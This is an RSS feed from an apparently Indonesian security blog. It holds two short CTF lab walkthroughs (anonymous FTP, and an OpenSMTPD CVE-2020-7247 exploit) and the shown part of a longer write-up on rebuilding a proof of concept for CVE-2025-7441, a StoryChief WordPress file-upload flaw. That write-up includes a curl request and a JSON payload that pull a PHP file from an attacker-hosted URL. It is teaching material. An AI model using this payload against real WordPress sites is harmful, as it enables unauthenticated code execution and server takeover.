<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/</link>
	<description></description>
	<lastBuildDate>Sat, 10 Jan 2026 08:56:50 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>[ CyberAcademy CTF Labs ] Rencong Labs Walkthrough</title>
		<link>https://blog.bhineka-tech.org/2026/01/10/cyberacademy-ctf-labs-rencong-labs-walkthrough/</link>
					<comments>https://blog.bhineka-tech.org/2026/01/10/cyberacademy-ctf-labs-rencong-labs-walkthrough/#respond</comments>
		
		<dc:creator><![CDATA[cicak]]></dc:creator>
		<pubDate>Sat, 10 Jan 2026 08:56:49 +0000</pubDate>
				<category><![CDATA[Tak Berkategori]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=635</guid>

					<description><![CDATA[<p>halo guys, kali ini aku sedang gabut aja, sedang nunggu exam sertifikasi CCSE dari cyberwarfare! jadi di blog ini, aku kasih jalan keluar labs rencong, ctf dari cyberacademy, ok langsung aja. Pada leve medium kali ini, diberikan IP 10.10.0.106, cus langsung scanning pakai nmap! Dari hasil scanning didapatkan dua port terbuka, yaitu port 21 (FTP) [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2026/01/10/cyberacademy-ctf-labs-rencong-labs-walkthrough/">[ CyberAcademy CTF Labs ] Rencong Labs Walkthrough</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>halo guys, kali ini aku sedang gabut aja, sedang nunggu exam sertifikasi CCSE dari cyberwarfare!</p>



<p>jadi di blog ini, aku kasih jalan keluar labs rencong, ctf dari cyberacademy, ok langsung aja.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="861" height="412" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-7.png" alt="" class="wp-image-636" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-7.png 861w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-7-300x144.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-7-768x367.png 768w" sizes="(max-width: 861px) 100vw, 861px" /></figure>



<p>Pada leve medium kali ini, diberikan IP 10.10.0.106, cus langsung scanning pakai nmap!</p>



<figure class="wp-block-image size-full"><img decoding="async" width="773" height="628" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-8.png" alt="" class="wp-image-637" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-8.png 773w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-8-300x244.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-8-768x624.png 768w" sizes="(max-width: 773px) 100vw, 773px" /></figure>



<p>Dari hasil scanning didapatkan dua port terbuka, yaitu port 21 (FTP) dan 22 (SSH). bagian yang menariknya adalah pada service/layanan ftp diizinkan user untuk login sebagai user anonymous, ok gas aja langsung pakai user anonymous!<br></p>



<figure class="wp-block-image size-full"><img decoding="async" width="540" height="262" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-9.png" alt="" class="wp-image-638" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-9.png 540w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-9-300x146.png 300w" sizes="(max-width: 540px) 100vw, 540px" /></figure>



<p>setelah login, aku melihat isi dari direktori saat ini, terdapat tiga file yaitu <strong>flag.txt, kunci.txt, test.txt</strong>.</p>



<p>Dan tentu flagnya ada di file flag.txt haha <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="472" height="220" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-10.png" alt="" class="wp-image-639" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-10.png 472w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-10-300x140.png 300w" sizes="auto, (max-width: 472px) 100vw, 472px" /></figure>



<p>setelah dapat, langsung input saja flagnya, dan&#8230;.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="954" height="766" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/Screenshot-2026-01-10-154549.png" alt="" class="wp-image-640" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/Screenshot-2026-01-10-154549.png 954w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/Screenshot-2026-01-10-154549-300x241.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/Screenshot-2026-01-10-154549-768x617.png 768w" sizes="auto, (max-width: 954px) 100vw, 954px" /></figure>
<p>Artikel <a href="https://blog.bhineka-tech.org/2026/01/10/cyberacademy-ctf-labs-rencong-labs-walkthrough/">[ CyberAcademy CTF Labs ] Rencong Labs Walkthrough</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2026/01/10/cyberacademy-ctf-labs-rencong-labs-walkthrough/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Walkthrough CTF CyberAcademy &#8211; KUDUK Labs</title>
		<link>https://blog.bhineka-tech.org/2026/01/08/jalan-keluar-ctf-cyberacademy-kuduk/</link>
					<comments>https://blog.bhineka-tech.org/2026/01/08/jalan-keluar-ctf-cyberacademy-kuduk/#respond</comments>
		
		<dc:creator><![CDATA[cicak]]></dc:creator>
		<pubDate>Thu, 08 Jan 2026 11:59:28 +0000</pubDate>
				<category><![CDATA[Tak Berkategori]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=624</guid>

					<description><![CDATA[<p>ya kuduk, merupakan salah lab ctf di platform ctf CyberAcademy, jadi kita diminta mencari sebuah flag pada server, ok langsung aja! kita diberi clue yaitu exploitasi OpenSMTPD, wes langsung aja scan ip nya! dari hasilnya di dapat, ip 10.10.0.199 memiliki 2 port, yaitu port 25 (smtp) dan port 8181 (filtered), maka dari itu tinggalkan port [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2026/01/08/jalan-keluar-ctf-cyberacademy-kuduk/">Walkthrough CTF CyberAcademy &#8211; KUDUK Labs</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>ya kuduk, merupakan salah lab ctf di platform ctf CyberAcademy, jadi kita diminta mencari sebuah flag pada server, ok langsung aja!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="873" height="414" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-2.png" alt="" class="wp-image-625" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-2.png 873w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-2-300x142.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-2-768x364.png 768w" sizes="auto, (max-width: 873px) 100vw, 873px" /></figure>



<p>kita diberi clue yaitu <strong>exploitasi OpenSMTPD</strong>, wes langsung aja scan ip nya!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="942" height="471" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-3.png" alt="" class="wp-image-626" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-3.png 942w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-3-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-3-768x384.png 768w" sizes="auto, (max-width: 942px) 100vw, 942px" /></figure>



<p>dari hasilnya di dapat, ip 10.10.0.199 memiliki 2 port, yaitu port 25 (smtp) dan port 8181 (filtered), maka dari itu tinggalkan port 8181 karna g bisa di apa apain lg dan fokus saja ke port 25. Dari hasil scanning komprehensi, di dapatkan versi dari OpenSMTPD adalah 2.0.0, yang dimana ini memiliki sebuah vulnerability yaitu <strong>CVE-2020-7247</strong>, CVE ini mempunyai exploit public yang bisa kita gunakan.</p>



<p>awalnya aku ingin reverse connection, tapi nth knp tidak bisa, jadi aku coba saja untuk melihat file /etc/passwd.</p>



<p>open listener di port 443.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="215" height="131" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-4.png" alt="" class="wp-image-627"/></figure>



<p>langsung saja jalankan exploitnya!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="958" height="151" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-5.png" alt="" class="wp-image-628" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-5.png 958w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-5-300x47.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-5-768x121.png 768w" sizes="auto, (max-width: 958px) 100vw, 958px" /></figure>



<p>pada listener, akan diberikan langsung flagnya!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="691" height="456" src="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-6.png" alt="" class="wp-image-629" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-6.png 691w, https://blog.bhineka-tech.org/wp-content/uploads/2026/01/image-6-300x198.png 300w" sizes="auto, (max-width: 691px) 100vw, 691px" /></figure>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2026/01/08/jalan-keluar-ctf-cyberacademy-kuduk/">Walkthrough CTF CyberAcademy &#8211; KUDUK Labs</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2026/01/08/jalan-keluar-ctf-cyberacademy-kuduk/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WordPress CVE reversing</title>
		<link>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/</link>
					<comments>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sat, 23 Aug 2025 10:14:01 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[web exploitation]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=587</guid>

					<description><![CDATA[<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-97e86da769475e9baa7b7a29aa42309b"><code>*CVE Reversing Challenge*
host: http://143.198.193.102/
Level: Up to you!!

Task ? 
Baru baru ini sekitar 5 hari lalu, wordfence mempublikasikan suatu CVE pada plugin wordpress _storychief_ yang dimana kerentanan pada CVE ini berada pada score 9.8 atau sangat critical karena attacker bisa melakukan arbitrary file write/upload dengan status unauthenticated yang dapat mengarah ke RCE. Tugas kalian yaitu membuat suatu script PoC sendiri dengan melakukan research, diffing dan reversing pada source code di plugin ini. Jangan buang buang waktu untuk mencari script exploit/PoC di internet karena tidak ada satupun sumber yang mempublikasikan PoC pada CVE ini, karena tergolong masih baru. 

Biar tambah semangat, untuk yang solve first blood akan mendapat hadiah 100K dan semoga berhasill.

solve? untuk flag ada di directory /root tapi jika kalian berhasil mendapat akses www-data saja sudah cukup, yang terpenting hasil dari PoC exploitnya bukan pada flagnya

reference CVE-2025-7441 :
https:&#47;&#47;www.wordfence.com/threat-intel/vulnerabilities/id/979efaa4-10f1-4c7f-b4b0-5a41678c9d66?source=cve

#HappyHacking</code></pre>



<p>pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC atau exploitnya di internet. Cara satu satunya dengan melakukan research dan mencoba untuk menemukan secara mandiri.</p>



<p>Sebelum itu penting sekali untuk mengerti syntax dasar dan terbiasa menggunakan PHP dan juga sedikit perlu paham terkait struktur dari CMS wordpress. Mari kita lihat deskripsi dari CVE-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-fd012679cc49191c9f7a579a53fe233f"><code>The StoryChief plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.0.42. This vulnerability occurs through the /wp-json/storychief/webhook REST-API endpoint that does not have sufficient filetype validation. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.</code></pre>



<p>Intinya dikatakan jika plugin StoryChief pada versi dan sebelum 1.0.42 terdapat vulnerabiilty yang dimana attacker bisa melakukan arbitrary file upload melalui /wp-json/storychief/webhook, dan ngerinya lagi bug ini bisa dipicu tanpa login terlebih dahulu atau unauthenticated, nah maka dari sini kenapa CVSS score pada vulnerability ini sangat critical yaitu 9.8.</p>



<p>CVE reversing itu merupakan suatu upaya atau proses untuk membuat Proof-Of-Concept dari suatu kerentanan yang sudah diketahui(CVE) atau bisa kita sebut juga sebagai 1-day, secara umum caranya yaitu dengan melakukan patch diff(perbandingan) source code dari versi rentan dan yang sudah diperbaiki untuk melihat kerentanan yang dapat dimanfaatkan.</p>



<p>Tapi beruntungnya, tidak seperti pada vendor atau product perusahaan besar yang close source, pada wordpress sendiri melakukan CVE reversing ini masih tergolong mudah karena source code dipublikasikan ya setidaknya kita tidak perlu effort melakukan reverse engineering dan memahami di sisi low levelnya. Karena untuk melakukan patch diff pada wordpress kita bisa langsung mengunjungi <a href="https://plugins.trac.wordpress.org/ ">https://plugins.trac.wordpress.org/ </a> dan melihat perbandingan kode antar versi </p>



<p>Pada CVE ini, wordfence juga menyediakan refrensi diffing dan hal ini sangat berguna untuk kita identifikasi dan melakukan source code review</p>



<p><a href="https://plugins.trac.wordpress.org/changeset/3344874">https://plugins.trac.wordpress.org/changeset/3344874</a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png" alt="" class="wp-image-588" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-300x160.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-768x410.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image.png 1379w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini terlihat beberapa file yang diubah pada versi baru, atau dalam hal ini developer melakukan patching dari kerentanan pada CVE tersebut.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="602" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png" alt="" class="wp-image-590" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-300x176.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-768x452.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1536x904.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1.png 1586w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pada file <a href="https://plugins.trac.wordpress.org/changeset/3344874/story-chief/tags/1.0.43/includes/class.imageuploader.php">class.imageuploader.php</a>&nbsp;terdapat banyak perubahan, disini kita bisa melihat jika block merah artinya code yang dihapus dan block hijau yaitu code yang ditambahkan. pada file ini juga terdapat instansiasi CURL yang dalam hal ini kita mendapat gambaran sekilas bagaimana kerentanan terjadi.</p>



<p>Mari kita lihat source codenya secara utuh pada <a href="https://github.com/Story-Chief/wordpress/releases">https://github.com/Story-Chief/wordpress/releases</a> yang pada github ini merupakan versi 1.0.41 sedangkan patching dilakukan pada v1.0.43 jadi pada github ini masih tergolong versi rentan yang belum di patch</p>



<p>Seperti pada deskripsi yang mengatakan jika kerentanan dipicu melalui endpoint <em>/wp-json/storychief/webhook</em> jadi kata kunci penting disini ada pada webhook, yang pada plugin StoryChief juga terdapat file dengan nama <strong><em>webhook.php</em></strong></p>



<p>Disini kita bisa mulai melakukan source code review, tapi sebelum itu kita perlu tau konsep saat melakukan source code review dan tidak melakukan asal asalan. Bahkan owasp sendiri juga mempublikasikan standar guide untuk ini yaitu SAST(Static Analysis Security Testing) <a href="https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf">https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf</a> yang berisi panduan bagaimana best practice saat melakukan source code review. Agar lebih singkat, yang perlu kita pahami saat melakukan source code review yaitu &#8220;source&#8221; dan &#8220;sinks&#8221;, source merupakan dimana code yang kemungkinan terjadi kerentanan dan sinks yaitu tempat kerentanan sebenarnya terjadi.  </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="747" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png" alt="" class="wp-image-593" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-300x219.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-768x561.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4.png 1048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang pada webhook.php disini kita menemukan input yang bisa kita kontrol yaitu fungsi register_routes() yang dimana pada array &#8220;callback&#8221; memanggil fungsi handle() dan pada fungsi handle() juga terdapat json_decode() yang melakukan decode pada inputan POST kita, pada blok kode ini bisa kita katakan &#8220;source&#8221; atau sumber terjadinya kerentanan, dan untuk &#8220;sinks&#8221; kita akan mencoba identifikasi lebih lanjut </p>



<p>fungsi upload pada PHP dan wordpress sendiri kita bisa klasifikasikan sebagai berikut :</p>



<ul class="wp-block-list">
<li>potensi fungsi upload PHP 
<ul class="wp-block-list">
<li><a href="https://www.php.net/manual/en/function.move-uploaded-file.php" target="_blank" rel="noreferrer noopener"><code>move_uploaded_file</code></a></li>



<li><a href="https://www.php.net/manual/en/function.file-put-contents" target="_blank" rel="noreferrer noopener"><code>file_put_contents</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fwrite" target="_blank" rel="noreferrer noopener"><code>fwrite</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputs.php" target="_blank" rel="noreferrer noopener"><code>fputs</code></a></li>



<li><a href="https://www.php.net/manual/en/function.copy.php" target="_blank" rel="noreferrer noopener"><code>copy</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputcsv.php" target="_blank" rel="noreferrer noopener"><code>fputcsv</code></a></li>



<li><a href="https://www.php.net/manual/en/function.rename.php" target="_blank" rel="noreferrer noopener"><code>rename</code></a></li>
</ul>
</li>



<li>potensi fungsi upload WordPress 
<ul class="wp-block-list">
<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/put_contents/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::put_contents</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/move/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::move</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/copy/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::copy</code></a></li>
</ul>
</li>
</ul>



<p>Jika mengacu pada kerentanan Arbitrary File Upload, pasti salah satu fungsi diatas digunakan dan pada visual studio code kita bisa mencari pada fitur searching string</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="479" height="286" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png" alt="" class="wp-image-594" style="width:764px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png 479w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5-300x179.png 300w" sizes="auto, (max-width: 479px) 100vw, 479px" /></figure>



<p>fungsi file_put_contents() dipanggil pada file class.imageuploader.php, persis seperti pada patch diff yang kita identifikasi sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="665" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png" alt="" class="wp-image-595" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-300x195.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-768x499.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6.png 1109w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>fungsi save() disini yang memanggil file_put_contents dan juga terdapat suatu instansiasi CURL, dan asumsi awal sepertinya fungsi ini mendownload file dari URL external yang kemudian diletakkan pada directory /wp-content/uploads/ karena terdapat fungsi wp_upload_dir()</p>



<p>disini &#8220;Sinks&#8221; ditemukan pada fungsi save() yaitu fungsi file_put_contents(), nah jika kita sudah mengelompokkan seperti ini baru berfikir bagaimana dari &#8220;source&#8221; / inputan user berpindah ke &#8220;sinks&#8221; yang menjalankan fungsi file_put_contents().</p>



<p>Sekarang kita balik ke &#8220;source&#8221; dan mencoba untuk memahaminya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="718" height="371" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png" alt="" class="wp-image-597" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png 718w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8-300x155.png 300w" sizes="auto, (max-width: 718px) 100vw, 718px" /></figure>



<p>terdapat 2 validasi, pada payload json yang kita inputkan. validasi pertama yaitu <strong><em>\Storychief\Tools\validMac($payload)</em></strong> yang disini memanggil fungsi validMac pada file tools.php</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="784" height="193" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png" alt="" class="wp-image-600" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png 784w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-300x74.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-768x189.png 768w" sizes="auto, (max-width: 784px) 100vw, 784px" /></figure>



<p>Disini melakukan comparison atau perbandingan jika mac tidak sama pada payload maka gagal atau return false, jadi kira kira logic sederhananya seperti ini : </p>



<ol class="wp-block-list">
<li>kita input : payload=heker</li>



<li>maka gagal karena harus ada parameter mac</li>



<li>jadi harusnya gini: payload=heker&amp;mac=123</li>



<li>ini juga tidak valid karena mac tidak sama</li>



<li>tapi disana ada unset($payload[&#8216;meta&#8217;][&#8216;mac&#8217;]);</li>



<li>artinya mac diambil atau hasil payload=heker yang dihash sha256</li>



<li>jadi kita perlu hash sha256 pada &#8220;payload=heker&#8221; dan digunakan untuk mac</li>
</ol>



<p>Semoga bisa dipahami, jadi kita kecualikan untuk macnya dan lanjut susun payloadnya tanpa mac terlebih dulu.</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-82f6112c2707897ae94f96979b9a6192"><code>if (! isset($payload&#91;'meta']&#91;'event'])) {
        return new WP_Error('no_event_type', 'The event is not set', &#91;'status' =&gt; 400]);
    }

//code lain
... 
...

switch ($payload&#91;'meta']&#91;'event']) {
        case 'publish':
            $response = handlePublish($payload);
            break;
        case 'update':
            $response = handleUpdate($payload);
            break;
        case 'delete':
            $response = handleDelete($payload);
            break;
        case 'test':
            $response = handleConnectionCheck($payload);
            break;
        default:
            $response = missingMethod();
            break;
    }</code></pre>



<p>validasi kedua ada <strong><em>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</em></strong> yang kemudian dilakukan switch case ya, yang jika kita isi <em><strong>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</strong></em> publish maka akan menuju ke fungsi <strong><em>handlePublish()</em></strong> dan kira kira seperti ini payloadnya </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-af10263faf96514c77ca86b97c0262d1"><code>curl -d '{"meta": {"event" : "publish"}}' http://143.198.193.102/wp-json/storychief/webhook</code></pre>



<p>Jadi kita disini asumsinya sudah menuju ke fungsi handlePublish</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="916" height="546" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png" alt="" class="wp-image-601" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png 916w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-300x179.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-768x458.png 768w" sizes="auto, (max-width: 916px) 100vw, 916px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="328" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png" alt="" class="wp-image-603" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-300x123.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-768x314.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>Diatas kita menemukan fungsi wordpress do_action yang memanggil fungsi callback <strong><em>storychief_save_featured_image_action</em></strong> yang jika kita search pada vscode, ditemukan pada file <em><strong>mapping.php</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="269" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png" alt="" class="wp-image-604" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14.png 1296w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan yap, kita menemukan fungsi yang memanggil class ImageUploader dengan method save() dan fungsi ini yang digunakan untuk upload file, jadi sekarang kita sudah mengetahui data flow terjadinya kerentanan jadi mari kita rangkai payloadnya, dan kita sesuaikan dengan validasi pada variable <em><strong>$story[&#8216;featured_image&#8217;][&#8216;data&#8217;][&#8216;sizes&#8217;][&#8216;full&#8217;]</strong></em></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-0790929f7b053f46063af2137c6e6e04"><code>{
  "meta": {
    "event": "publish"
  },
  "data": {
    "featured_image": {
      "data": {
        "sizes": {
          "full": "http://143.198.193.102:8000/cek.php"
        }
      }
    }
  }
}</code></pre>



<p>dan payloadnya akan seperti diatas, nah baru pada payload ini kita bisa meng-hasilkan hmac dengan melakukan encode dan hash ke sha256</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1009" height="560" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png" alt="" class="wp-image-606" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png 1009w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-300x167.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-768x426.png 768w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /></figure>



<p>dan setelah hmac didapatkan sekarang kita perlu menghost php file pada vps atau hosting pribadi karena nama file yang disimpan diambil dari nama path external</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-149e1c647867074d3eb4bd53660fa411"><code> <em><strong>  public function getFilename()
    {
        $filename = basename($this-&gt;url);
        $this-&gt;filename = $filename;
